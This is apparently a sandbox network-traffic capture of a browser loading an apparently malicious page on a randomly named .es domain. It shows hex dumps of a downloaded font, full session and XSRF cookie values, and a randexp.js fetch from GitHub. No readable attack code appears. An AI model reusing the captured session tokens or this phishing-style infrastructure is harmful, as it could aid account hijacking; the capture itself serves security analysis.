2025-03-26 21:11:19 UTC	1369	IN	Data Raw: 23 8a 59 c2 cf f6 39 45 cb af 3e 0e 84 bc 8b 2b 32 5e 84 60 79 e3 43 df da 81 bc 1f 6f ed af cd 01 69 36 13 85 22 36 87 26 df 8a bb 36 57 23 cd e1 00 6a 45 42 61 66 80 b9 f2 a8 ae 64 0c 8a 50 5b ca f7 b7 1a 74 11 11 3c f2 04 30 61 e5 e5 c9 53 28 31 2f f8 9a ee d5 63 81 ca 11 9a 97 35 26 9b 71 d5 5f 83 ce 81 84 1b 33 45 e8 72 ff bb db 61 b2 49 c7 62 6c c5 a6 d9 c4 24 54 6f a9 f8 67 66 5e 2d a1 d1 63 26 60 1a 48 83 94 f4 b2 0f 35 67 41 7e ac dc 54 0d 75 3b 17 3e 77 a3 da d3 6a 91 76 33 b7 01 3c e6 08 1e 8c 6e 81 34 f6 0e 04 df e5 03 cd 49 00 51 2d 42 08 48 12 94 54 1e 95 cd 77 5c 9d 12 d4 36 ce 37 13 be 9c 7d 74 5b 41 8e c0 00 2e 4f e4 a4 a6 1e e0 be 7d cc bd 50 2f 64 4e 3a 81 5d c8 fe 5d c3 7d 8e 8c 32 48 83 77 0d 90 7b 13 d2 57 6e b0 06 4d 75 68 c5 55 77 Data Ascii: #Y9E>+2^`yCoi6"6&6W#jEBafdP[t<0aS(1/c5&q_3EraIbl$Togf^-c&`H5gA~Tu;>wjv3<n4IQ-BHTw\67}t[A.O}P/dN:]]}2Hw{WnMuhUw
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: 23 8d 05 33 c9 a9 ba fd 4a 4e 76 e7 e9 b5 cf eb 6f f8 f9 e4 e6 e6 fd f5 f5 c0 ec 74 98 9c c3 35 07 f7 49 c9 89 8f d4 79 6c 76 39 5d c9 d6 fa d1 f5 6f e3 a4 8f ba fa 68 bb 04 c7 6f 9f 6f e0 cb 5a ad cb 42 da 21 bc 85 a7 e5 fb a7 9e ab 01 83 01 08 b4 a9 61 4b d6 79 06 66 0a 61 45 d4 1d d2 15 c7 ed 0f 39 40 72 9e 46 cb 35 24 69 23 8c 95 9a c1 12 e4 49 43 12 83 9b b3 77 77 aa 36 c5 6e 2b 25 e7 ee 33 90 60 27 6e cf e1 10 79 2a 48 74 8e 2d 96 0c 1e 2f 8e 21 2a 51 01 6f 3a dd d9 21 eb 6b 30 cd 5a ff 09 46 6d d7 38 c2 04 fb 4d 62 bc dd 0e 0f 23 13 cc c8 5d 90 1b 33 dc 81 58 cb 9f 31 d9 cb 70 14 bd 46 7e dc b6 c8 23 df 40 bd 87 f9 83 a5 21 24 d1 29 d6 90 ee 58 87 3d 09 80 e0 6a bb c0 a0 88 c4 aa 19 91 8f b2 3a 86 a1 c7 51 94 8d 27 34 7e 93 6d 79 84 7f 22 72 18 a7 Data Ascii: #3JNvot5Iylv9]ohooZB!aKyfaE9@rF5$i#ICww6n+%3`'nyHt-/!Qo:!k0ZFm8Mb#]3X1pF~#@!$)X=j:Q'4~my"r
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: a9 41 35 1f 6c 34 47 ab 5d 80 de dd f8 70 fb 7f ad 3c 00 d4 01 16 a0 fc e6 7e 25 3f ba dc 73 f2 84 c3 1e d6 4f 02 c7 cd 8a 6e c5 bb 56 5d 88 d0 30 c3 ca d0 c7 d4 1b 4e ca de 5c d9 87 83 76 b6 9c ed 4a ee 9d 6e ef 39 d2 7f bd 9e 19 7a f9 ac d5 73 5d f9 a6 eb fb f3 7c 99 a5 ff c9 fc 7b 1f 99 c4 4d 67 34 db b8 85 68 00 eb 95 0d b0 ed 9a a1 0c be 43 9e 79 ca 13 45 f3 e9 6c 2e bc 3d 60 4b 49 e0 18 c3 66 bd 73 44 04 5c f3 6d c0 b3 07 ce ae cc e6 31 db 93 f3 6c bf ac ec cc 71 75 de 9c f7 bf 15 eb e0 7e 48 ff fd e8 70 5f 94 c9 94 72 42 d1 01 99 88 67 08 03 b9 71 0a d7 bf 8d a3 75 da ae 3a b9 15 31 c9 ef 88 53 cb 00 81 81 8c 9a f8 51 19 ab d1 aa 83 25 60 21 77 9b cd fb 55 e0 cd 67 bf 4b 1a d6 82 d7 89 ec 04 00 58 23 21 bb 6d 36 82 f9 8a 2d e1 26 a5 61 bc c8 04 cc Data Ascii: A5l4G]p<~%?sOnV]0N\vJn9zs]\|{Mg4hCyEl.=`KIfsD\m1lqu~Hp_rBgqu:1SQ%`!wUgKX#!m6-&a
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: 68 d9 31 27 9c 73 c2 05 97 28 dc 74 3b f0 57 d3 3d 8f cc d7 42 9d 78 06 d5 ef c4 6c 34 dd a5 c7 87 9e d3 f6 ba ba 2b 2f fb 50 c6 9f 4f 98 df 5d 9d 2d f5 75 bf 22 77 4e f1 c9 83 cd 87 da b7 65 1e 6e 3d b2 61 cf cb 40 de 7b f3 77 b6 3d 98 7f fa ec ba b7 35 14 5c 7e d1 4a b7 ee dc 51 78 6e fd 3e 89 84 1f dd 81 fc a5 c9 a0 97 29 76 de 70 39 03 52 d6 f1 72 56 62 75 ee 79 aa d8 b8 e1 be 07 1e 7a ec 89 e7 8e fa ec ab 6f be fb 9d f5 c2 93 93 30 58 2f fd 0c 32 4c 92 49 a7 ba f8 ea 93 0f b5 5d f3 5d bf 50 a2 87 26 7a c4 d8 05 b3 bd 34 c7 2b f3 bc 31 d7 6b 0b bc 63 e6 aa 95 3e 5a ea 5f cb fd 9f c4 45 4b fc 23 cb ff 47 b8 96 ac 23 fb eb 38 fc 8c 85 af b8 75 e1 79 03 d7 5b 98 b8 c4 dd 5e c3 fd c4 bb 2b 59 77 5f f3 fd 05 45 0f 85 b7 29 ba 15 d0 37 36 f5 56 d2 53 71 9f Data Ascii: h1's(t;W=Bxl4+/PO]-u"wNen=a@{w=5\~JQxn>)vp9RrVbuyzo0X/2LI]]P&z4+1kc>Z_EK#G#8uy[^+Yw_E)76VSq
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: bc 1e 41 92 35 ba 24 b0 77 e8 84 21 2c 04 cd 2f 1c 7f f1 34 9f d8 fd 96 90 9d 9b 4e 0a f5 5a f1 fa 4b 09 50 c3 7d 27 4d 77 ae 77 32 cd 82 30 0e 9b ce 90 a5 31 92 e6 8a 3a ad 80 33 20 d6 bf 1c bf b8 56 f9 07 e5 4f 87 0a 0b d4 34 bd 2c b2 73 fa a6 93 03 68 60 d9 19 55 17 a4 8a 5b c7 e3 d3 2a f5 23 1e 4b be 4a 56 b7 e8 14 2c 4d 2d a6 15 97 db 2c 6a 77 f9 a7 f2 66 0e 33 4b d9 3c 2c 29 99 e0 85 46 67 cb c3 b4 65 c5 c3 07 bb aa 20 fe ae 28 c0 88 7a 64 30 63 38 aa 0a 2a 86 f0 14 ea d8 65 d8 3e 71 30 09 56 b1 a5 f9 b0 61 0f 2e 91 dd 11 85 6d 56 4d 05 03 d8 a0 b8 a6 41 d8 36 5c 0c 1b 00 6c 50 1a 62 0c 80 9b 7b 6b 74 d4 d0 09 15 a7 20 7f bd b2 0d 76 01 71 d6 df 77 8a 65 41 78 9a e0 f5 4b 20 21 68 28 a1 04 43 cc b3 da 4c c4 22 77 ea 2d 86 02 b7 12 c4 07 a7 6e 29 59 Data Ascii: A5$w!,/4NZKP}'Mww201:3 VO4,sh`U[#KJV,M-,jwf3K<,)Fge (zd0c8e>q0Va.mVMA6\lPb{kt vqweAxK !h(CL"w-n)Y
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: 05 3d 6e ae ac d9 c8 19 20 6f 5d 9a 62 23 46 a3 8c 62 6a f5 2e b3 82 87 30 d2 b4 99 c8 68 4c 11 a6 c2 ba 94 c3 07 d8 1a 0d 24 e8 a0 81 c5 15 54 3a 57 d4 fb fa 7e 00 4f 48 92 69 b3 ad b8 b4 11 3d 1a 48 73 6d 7c 60 1b 83 e0 34 91 58 ba be c5 00 21 83 60 01 fc 35 de bf 85 08 2c 98 0e 09 11 57 76 e4 20 2d 99 77 b1 26 d7 75 33 9e 75 32 8c 35 f2 06 34 c5 76 59 5e 93 84 3d 6e 0e b4 dd a1 7a cb b8 b3 48 ef 14 e3 f6 83 d2 f0 ce a6 aa fb dc cb 34 90 8f 85 ed 05 4d 33 d5 47 9e b1 d7 b9 41 01 66 74 34 04 d9 06 46 6c f0 52 68 84 cb c0 f8 47 82 59 07 ba 72 86 5b a1 7e 85 e0 29 36 cb 0a 91 45 d6 95 1d f1 57 0e 79 59 45 1b 21 22 ad c8 2c d2 a0 8d 80 7d 45 8e d8 06 2f a2 26 6d 27 e9 f0 07 62 5d 42 8e b9 0c 3b e3 23 94 ef fd b5 33 02 b3 cd a6 3c 99 f1 f6 84 a6 db 34 19 57 Data Ascii: =n o]b#Fbj.0hL$T:W~OHi=Hsm\|`4X!`5,Wv -w&u3u254vY^=nzH4M3GAft4FlRhGYr[~)6EWyYE!",}E/&m'b]B;#3<4W
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: 02 2c 7b 38 8a 58 2e 78 32 56 f5 90 cb c2 fb 4c a6 c2 43 26 f9 51 57 dd 88 a8 44 c8 d2 8c 7f 2d 77 c2 40 5d 4d d6 a6 22 1b 0c 00 0d d9 8f b1 f1 3f f9 72 dc 15 1d c1 58 32 85 65 60 84 7f 39 42 c8 44 9f 9e c0 93 39 c5 0c 98 e5 21 14 ee 30 b0 dd 3e b7 b1 83 45 d3 14 1f 2b 44 4b da a0 1f b8 e6 bf 49 b9 e2 f9 ff 2e 78 dd 3f 26 5d d8 68 07 c6 a2 a4 f8 86 9c 90 4d b7 7c 27 db 48 4e 87 1d b9 fa 07 85 6f b8 e9 36 e7 6b a5 f2 4e ac 64 20 69 0c f0 74 17 db ed 98 f0 69 09 0f 1e c3 60 aa 68 dc b0 66 bf be 4f 22 92 71 b3 ad 03 b4 4b f7 93 de d0 89 45 bc 03 6a de 2a 3a 57 cc a6 6e 32 cb b7 27 d9 34 1b f6 27 7f 33 67 aa f1 27 98 aa dc d8 02 50 fe 9a 6d 09 83 ee 7d 3b dd 43 ea c9 a5 3f 68 06 28 7d 56 a1 8c a5 72 1e 4a b3 11 6f 3c e7 50 75 98 b7 36 e5 73 10 05 8b 18 6e c9 Data Ascii: ,{8X.x2VLC&QWD-w@]M"?rX2e`9BD9!0>E+DKI.x?&]hM\|'HNo6kNd iti`hfO"qKEj*:Wn2'4'3g'Pm};C?h(}VrJo<Pu6sn

Timestamp	Bytes transferred	Direction	Data
2025-03-26 21:11:19 UTC	1392	OUT	GET /GDSherpa-regular.woff HTTP/1.1 Host: nvgy.zonqdkqezktw.es Connection: keep-alive Origin: https://nvgy.zonqdkqezktw.es sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://nvgy.zonqdkqezktw.es/royrhenxvzfixwzowxlvzgogwieuwutxvkqbbrhrmfxtrzifjhsic415qkjlmkzw90f?WFIJKNWOTPMLPZJ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImNVTG5Tbkp0NWFSQWsvc3VEcTVMbXc9PSIsInZhbHVlIjoiMytVQ0pUckV4dGpqK0h0YTMwQzNDQzF0SjRabnQvOFhSYktQc0FKRFhLbFdtT01sRW4zanNMNUx6a2YxOE1XdDBqV0xvd2VaRElvbUV1aE1nVmg5aFJKTWdteWdtc3NNb2EzK2IwQVczb2x4eXZXbEsvc1FERW5PVEdnZzBieHoiLCJtYWMiOiIxMTE3Mzc5YjhmMGVhNjZkMDVkMzdjMjMwMWY0MDU2MDA2NDQ4ODhhNDg1ZmYzZGRhMDliNzBiMWVmMWNhZmYxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Imc0VW4zLy9pa0QrSHNzQUVEWlJvaHc9PSIsInZhbHVlIjoiQmRlZUdxbUFWbUhkeEY2U3YvVDdVZkV0ZERMMCtHR3d2QnVOdEVPNTdZekZIRlY3b08wU0xsZFFodVlVdFZoTFozZWM0clFJK0dqK2pUMEV3QmJqcktFNGwvdlhKeEd0aG5IbGgzUnZWN2hjNlhQM0tKTkYvekExV2llVllobGwiLCJtYWMiOiI1MmU4MzI4YmNjZTY5ODY3YTY2N2E1MGFiZjVmOTBlMmZmMThkNmQ5NGNiNDhhZGYxNmY3OWUyMzRhNmI2NTc0IiwidGFnIjoiIn0%3D
2025-03-26 21:11:19 UTC	1174	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 21:11:19 GMT Content-Type: font/woff Content-Length: 36696 Connection: close Content-Disposition: inline; filename="GDSherpa-regular.woff" Age: 1757 Last-Modified: Wed, 26 Mar 2025 20:19:30 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cAubgAgwS8gFWhmCSDUCYTGJUnRQpTeNvGgoK6eRaUMqVwdChUOFOsjUbWen8c3nCpeUa1%2FfZ9QG%2FOaML25nBS4nTkfcuhIDV%2BcS9B9FGQJvkD69PyR455KqewyNu6baqHzJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=16370&min_rtt=16334&rtt_var=4623&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2380&delivery_rate=247430&cwnd=252&unsent_bytes=0&cid=50dd8ab655823519&ts=51&x=0" Cache-Control: max-age=14400 CF-Cache-Status: HIT Accept-Ranges: bytes Server: cloudflare CF-RAY: 9269a3c969edc407-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=88809&min_rtt=88783&rtt_var=18774&sent=5&recv=9&lost=0&retrans=0&sent_bytes=2837&recv_bytes=1964&delivery_rate=34387&cwnd=252&unsent_bytes=0&cid=7e44dabc1bb228de&ts=211&x=0"
2025-03-26 21:11:19 UTC	195	IN	Data Raw: 77 4f 46 46 00 01 00 00 00 00 8f 58 00 11 00 00 00 01 36 90 00 01 00 00 00 00 8e 30 00 00 01 28 00 00 02 97 00 00 00 00 00 00 00 00 44 53 49 47 00 00 8e 28 00 00 00 08 00 00 00 08 00 00 00 01 47 50 4f 53 00 00 01 80 00 00 18 99 00 00 5e 3e 80 e1 18 da 47 53 55 42 00 00 1a 1c 00 00 02 ad 00 00 04 96 8c 33 79 b9 4f 53 2f 32 00 00 1c cc 00 00 00 46 00 00 00 60 68 60 7b 5a 63 6d 61 70 00 00 1d 14 00 00 05 1a 00 00 07 3c 97 3f 2b 12 63 76 74 20 00 00 87 b0 00 00 00 30 00 00 00 3c 28 d6 01 ad 66 70 67 6d 00 00 87 e0 00 00 05 c1 00 00 0b e2 3f ae 1b 9f 67 61 73 70 00 00 87 a8 00 00 00 Data Ascii: wOFFX60(DSIG(GPOS^>GSUB3yOS/2F`h`{Zcmap<?+cvt 0<(fpgm?gasp
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: 08 00 00 00 08 00 00 00 10 67 6c 79 66 00 00 22 30 00 00 54 6c 00 00 a0 68 11 94 2e 2b 68 65 61 64 00 00 76 9c 00 00 00 34 00 00 00 36 1a bb 7d da 68 68 65 61 00 00 76 d0 00 00 00 21 00 00 00 24 10 9d 09 5a 68 6d 74 78 00 00 76 f4 00 00 03 88 00 00 07 78 3b 0f c0 f7 6c 6f 63 61 00 00 7a 7c 00 00 03 a8 00 00 03 be 14 10 ec 74 6d 61 78 70 00 00 7e 24 00 00 00 20 00 00 00 20 03 2d 0c fd 6e 61 6d 65 00 00 7e 44 00 00 02 ce 00 00 06 27 d5 12 90 1c 70 6f 73 74 00 00 81 14 00 00 06 94 00 00 0b fb 31 2b f3 2c 70 72 65 70 00 00 8d a4 00 00 00 81 00 00 00 8d 19 50 02 10 78 da e5 5c 09 7c 55 d5 99 ff 4e 72 f3 5e f2 c2 0b 09 89 90 80 44 44 d0 b8 54 1c eb 82 e0 82 56 ad 02 a2 43 b5 b6 a3 b5 55 c4 5f 7f 4e c7 99 fa 6b 7f 38 8e 6d a7 88 d8 aa 68 07 51 1c 36 71 90 d6 85 Data Ascii: glyf"0Tlh.+headv46}hheav!$Zhmtxvx;locaz\|tmaxp~$ -name~D'post1+,prepPx\\|UNr^DDTVCU_Nk8mhQ6q
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: 79 12 f5 02 b6 7b 41 ad 9e a0 54 0f 60 3b 00 d8 9e 0f 7e 15 00 5b 1f 78 d5 4b bd 8e 72 b3 51 ef 02 d4 b3 90 fa 03 f3 1c 60 dc 1f 4f 7d e8 4f 2a 52 1a d2 58 2e 85 fd 98 c5 47 c0 bf 65 c0 da a6 57 b2 ad dd a0 f9 93 68 7d 1c 6a 79 0a 6f 8f c7 79 02 7f 61 f3 0a f7 2f 21 6f 32 2c c1 54 b1 21 f9 c0 20 1f 18 64 81 66 b5 36 16 28 37 1b e7 39 c8 5f 80 77 17 02 93 55 38 0b fd 44 9b d3 41 23 9b 4b 4e 8b 3b 21 29 39 46 52 c0 25 3c 9b 80 3e 3e 8f f3 0b 90 b5 17 85 53 7e f5 12 f2 b4 46 db da 9c 81 96 33 d0 b2 e5 e1 56 1d 24 26 8c 16 a5 25 f4 10 bc a7 6e 68 ab 07 da ea 6e 68 6e a1 2d 9f e1 be 85 de e8 ba d2 51 57 2e ea f2 8b ee ce 84 cc cf 46 de 1c a9 2b 08 cc fd c0 ba 2b e4 69 19 6a 5d 07 df 51 02 6b 35 16 32 aa 6b 9a 80 5c 2d bf 5a 76 6d ed 0f 03 93 5a 23 bb 75 52 4b Data Ascii: y{AT`;~[xKrQ`O}O*RX.GeWh}jyoya/!o2,T! df6(79_wU8DA#KN;!)9FR%<>>S~F3V$&%nhnhn-QW.F++ij]Qk52k\-ZvmZ#uRK
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: e8 29 49 59 47 d1 55 6d 67 96 22 de 5a 12 3d 02 89 44 e8 ba 84 1d bb 7b 66 34 fa 76 04 dc a3 70 a8 87 ad 3c c9 cc 75 74 3e ae 56 d1 59 90 f1 26 ea 42 67 b8 25 4a 44 3f 2f b5 c7 e3 74 11 65 99 39 83 40 07 93 f6 70 eb 23 c4 8e 43 6f cf 1c 59 31 46 d2 c4 65 94 cb eb f9 4d 2a 40 e4 be db eb 6d f9 31 39 15 98 79 82 7e 89 8f 0b da b2 9f 5f 27 ff db 9d ef 70 a9 28 fb 11 64 06 04 76 a8 b5 b9 54 33 e7 91 30 ab 2f 73 2f eb 30 ae 58 de 5a fc ee b1 a1 ad f5 21 51 d8 fb 65 fc a1 e3 80 ac 56 4b a4 cb ea 83 3f fe db e6 48 49 b0 cc 04 64 16 29 4f 62 94 64 3e 2e 4f 92 64 f7 86 43 e1 e3 31 18 e7 98 14 4c 94 25 e4 fd 90 e9 7d ad da 8b 0e 69 47 da 8e 51 78 70 9c dc c1 9d 67 54 d2 d1 23 9a 28 1c 8e 74 ba 59 81 6c ea 94 07 7c cf 71 99 5b 0a ca 5a 47 19 97 48 b4 78 96 2d f7 88 Data Ascii: )IYGUmg"Z=D{f4vp<ut>VY&Bg%JD?/te9@p#CoY1FeM*@m19y~_'p(dvT30/s/0XZ!QeVK?HId)Obd>.OdC1L%}iGQxpgT#(tYl\|q[ZGHx-
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: 71 1f ac cd fb fc 16 9e 7c 28 3a a1 39 f2 10 62 fd a5 88 3e 1a f8 53 fe 25 f2 b7 9a 95 c2 3a 63 47 7a 53 a6 c8 55 21 a2 93 83 74 07 ae 83 18 cd bf 41 b9 b0 24 7a d5 f9 00 ef 06 5d 16 db b6 4a 78 11 84 0e 65 f2 36 9c c7 a0 de 49 bc 02 5a be 52 7f 8f 11 59 e5 8a 83 f5 73 22 2d 9b 79 09 4a e9 3d e4 49 d0 ce ed d0 17 86 f4 5d 86 e7 13 51 67 39 ef 81 dd d1 91 c2 21 19 97 4c 14 3c 83 b2 93 5c cf 07 6a 6d 55 9a da 6e 8c 1c 10 5b bd 1f e7 4a ba 98 0f 00 a7 03 bc 53 ef e5 96 fe 55 e9 ef 90 74 2c 16 b1 73 28 43 bc 5c 52 0e a2 b7 90 de 55 2d de 37 b3 5d 99 59 04 2a eb bd fb 7d 80 f3 5f f8 15 d0 be 0c b6 ef 66 fe 33 ff 1a f5 2e 85 6d df cc 1b 51 63 09 6f 41 e9 47 f8 03 fe 5f 48 59 25 7f c2 af 23 bf 54 62 ae 63 ae 5e f7 80 c5 5d 01 3b 3b 1f ed 97 80 02 65 28 33 9f 27 Data Ascii: q\|(:9b>S%:cGzSU!tA$z]Jxe6IZRYs"-yJ=I]Qg9!L<\jmUn[JSUt,s(C\RU-7]Y*}_f3.mQcoAG_HY%#Tbc^];;e(3'
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: f1 15 44 2d 66 65 0c b5 db bb f6 d3 63 c6 ae fa ff 46 1a a5 0f dd e3 8e 71 2d db 53 0a 4e be 18 4f ec 8d b8 fc 26 df fe 9e 30 57 a8 ed 33 57 a7 3f c7 71 02 54 cb 12 1b 7b 82 17 ba 6d 46 c6 81 33 dc 78 c9 c6 44 8f c0 b3 62 c6 1f 55 26 72 4a 97 19 4c 3b ae cd b7 63 4e d9 93 e3 37 36 5e be 64 10 1f e1 17 0e 63 54 8c a8 39 d9 fe a7 8c 53 99 8f 8c c2 fd b8 cc 98 66 88 b5 3b c2 d3 ed 15 e1 28 dc ff 68 66 4c 29 26 5a b5 a2 66 d3 ec af 31 7d 32 86 3b 2e fc c9 b5 69 29 b8 a7 bb b1 8a df ac fc 07 78 3b 38 79 50 d6 55 92 cd 5a 5b b0 8d af 95 e3 cb 4c b3 d0 2b 7a 7d 36 c9 23 d5 b1 f1 a3 ce 49 8b 6b 49 2c 67 75 cc 70 2a 23 4e 8c 15 2d 4b 9a 1f 01 a9 11 fd 16 1d ff 6a 87 9f 3a ef a1 3a 01 8e 49 f2 55 cd b9 b8 3a 1f d0 8f 2e 04 f4 a7 ef d0 cf f1 ec 61 5a 4d 0f d0 1a 5a Data Ascii: D-fecFq-SNO&0W3W?qT{mF3xDbU&rJL;cN76^dcT9Sf;(hfL)&Zf1}2;.i)x;8yPUZ[L+z}6#IkI,gup*#N-Kj::IU:.aZMZ
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: c7 a4 71 43 15 83 34 5b 88 fe 87 aa 57 b8 d5 82 47 ca e9 22 45 44 49 3f d1 d2 45 77 a9 28 56 ea 88 93 96 e2 5d 8d d0 87 be ea d9 9f 24 29 73 00 c9 ea 3e 98 14 86 88 bb 61 a4 32 5a d3 8d 65 9c d4 38 81 89 8c 27 91 29 4c 65 1a 93 98 cc 74 66 90 ce 4c 66 31 9b 39 cc 65 1e 19 64 32 9f 2c 16 b0 90 1c b2 59 44 2e 8b 59 c2 52 f2 58 a6 5d ac 10 37 ab 58 47 be 98 f7 b2 9a 35 14 52 c0 7a 36 52 4c 11 1b 28 a1 94 4d f8 d8 cc 16 b6 52 46 39 db d9 c1 4e 76 b1 8d dd ec 61 2f fb d8 4f 05 07 a8 e4 20 87 38 cc 11 8e 72 8c e3 54 71 82 53 9c e6 0c e7 38 cf 59 2e 70 92 8b 5c e6 12 57 b8 4a 35 d7 b8 2e 86 6e 72 8b db dc e1 ae 34 71 9f 1a 1e 88 cb 70 1e 8a 5b b4 91 7a f1 f6 84 97 e2 ae 91 57 62 e7 35 6f c5 ce 7b 3e 88 9d 26 fd 92 a5 83 6f e2 e7 bb 89 20 c5 78 4c 2c 79 26 ce 64 Data Ascii: qC4[WG"EDI?Ew(V]$)s>a2Ze8')LetfLf19ed2,YD.YRX]7XG5Rz6RL(MRF9Nva/O 8rTqS8Y.p\WJ5.nr4qp[zWb5o{>&o xL,y&d
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: 22 86 eb 32 86 29 8a 11 6a c2 eb ea cc 3c dd a6 e7 35 4c 2f 68 b8 46 68 a4 e6 68 ae a6 ea 90 f2 18 48 01 87 24 55 d6 45 aa a6 bb d4 47 fd 09 d7 29 73 f1 85 e6 80 90 3f 1c cd ff 19 e7 f3 fd 6a 65 eb 3d ad d1 5a e5 68 9d de d7 7a e5 fe 9d 05 42 09 b3 6c ae c0 05 f6 f5 8a 54 a2 32 17 71 31 55 a8 4a 35 aa 53 83 4b a8 69 c9 5d 9b 08 2e b5 cc a9 6b 99 5e ff af fc b0 88 34 16 b3 84 b7 49 27 c3 f2 7c 19 ef 58 a6 67 b2 d2 f2 73 15 ef b2 da f2 fd 3d 4b d2 b5 96 18 eb 78 9f f5 e4 fe c1 9c e9 2f a1 a7 8b 91 33 84 04 23 23 60 54 04 8d 88 4f 8c 89 42 e3 e1 e7 52 22 2a 18 13 46 84 f1 e0 1a 11 0d 8c 06 9f 91 10 5d ca c2 1c 63 b3 84 db 4c fb b7 2b d9 6b b4 2e d0 5b ea 61 fc 6e 33 2a 9b 6a 9f 91 fb a1 76 29 dd e8 3d 68 7f ff b0 8e a8 c0 c8 5e 64 df de 60 4c cd 32 ee f7 2b Data Ascii: "2)j<5L/hFhhH$UEG)s?je=ZhzBlT2q1UJ5SKi].k^4I'\|Xgs=Kx/3##`TOBR"F]cL+k.[an3jv)=h^d`L2+
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: ac ff d4 ac f0 61 ab fe 9f 9b 86 24 fe fd 89 f6 8d ce 12 46 c6 33 8b b8 46 32 96 3d cb c8 b8 f6 62 ed fb c4 04 fa cc a4 d6 ab 09 ff 2e e2 d7 2f 5e b4 66 01 fb ac f7 e0 9e 3b eb f1 66 eb 76 b1 3c b4 11 ca 63 19 8d c5 5b ec 02 2a 5e 6a 6f a2 6c a0 04 c8 79 91 0c 7d c0 e6 8d de 66 df 02 ac 86 31 5a a2 15 30 d4 c5 51 43 b3 30 f5 ac 6d c0 78 7a b8 aa 18 0d d2 70 94 43 89 d8 60 f6 f7 87 d1 91 0e a4 c0 c8 c6 8a e6 f3 6b 0b 95 e7 5d 4e 6d 3f 3c 7c 31 6b d5 c3 ea 69 ab cf 2d f6 19 3e 7f fd 15 76 d7 c8 fa cd 3f 1a 2a 96 e4 84 ef a7 ed 84 11 a0 52 72 88 23 2a 17 86 17 21 11 f4 2f a1 11 c8 75 63 dc 34 3e 3e 3c d1 5c 6a 64 02 ed 85 10 b4 17 6d 64 5d 7f 6d fd 18 e7 fc 4c d0 0b 8f 01 f9 23 ef b3 71 d6 f7 46 2e e3 3f 0a 97 84 5e 28 d6 26 8b ec d7 f0 07 cf 04 5a fc 6d 6d Data Ascii: a$F3F2=b./^f;fv<c[^joly}f1Z0QC0mxzpC`k]Nm?<\|1ki->v?Rr#*!/uc4>><\jdmd]mL#qF.?^(&Zmm
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: b5 0b 2c f9 1a 98 63 c9 24 cb b0 2a 62 27 a9 18 05 a7 52 38 da 62 2e 4a 4c ad 31 86 f1 51 43 46 2f b5 f8 9f ab 32 38 5e 8f ec ec 32 35 11 46 9d 3a 92 75 65 af 59 cb 70 b7 f5 10 be 31 72 41 70 bd 8e 2f 0b f3 d1 a3 b2 a5 86 2a 84 6b dc ed 91 bf b2 be a2 3d da 33 7a 5b b5 06 c6 6f 08 93 cc bc 68 71 55 23 30 3a 10 cc ff 92 90 10 c7 82 57 70 7c a3 0b 22 ea 92 4c ce fe 65 6e 2a 98 32 98 7a 57 9b a1 25 da 63 89 93 41 99 31 60 99 1b 52 a9 ec 72 59 4c b6 0c 8c 8b cb 98 01 87 6b 45 b3 43 a1 50 d6 ba 22 a5 d2 4b ca c7 88 e6 5a ad 25 20 2c 94 61 8c 31 a1 c9 61 c9 40 75 08 e1 86 c6 a8 77 07 86 e8 d2 15 0a bd bd aa d6 a6 8f 71 28 da 61 8a e3 3e 2b fb cb 63 17 bf 7e 60 f6 ec 07 be be f8 c8 df ca d8 fd d6 00 7c ce ba 18 df ba b3 77 d3 f5 d5 19 19 ab af 6f 92 14 f5 7f fa Data Ascii: ,c$b'R8b.JL1QCF/28^25F:ueYp1rAp/k=3z[ohqU#0:Wp\|"Len*2zW%cA1`RrYLkECP"KZ% ,a1a@uwq(a>+c~`\|wo

Timestamp	Bytes transferred	Direction	Data
2025-03-26 21:11:19 UTC	698	OUT	GET /fent/randexp.js/releases/download/v0.4.3/randexp.min.js HTTP/1.1 Host: github.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://nvgy.zonqdkqezktw.es/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
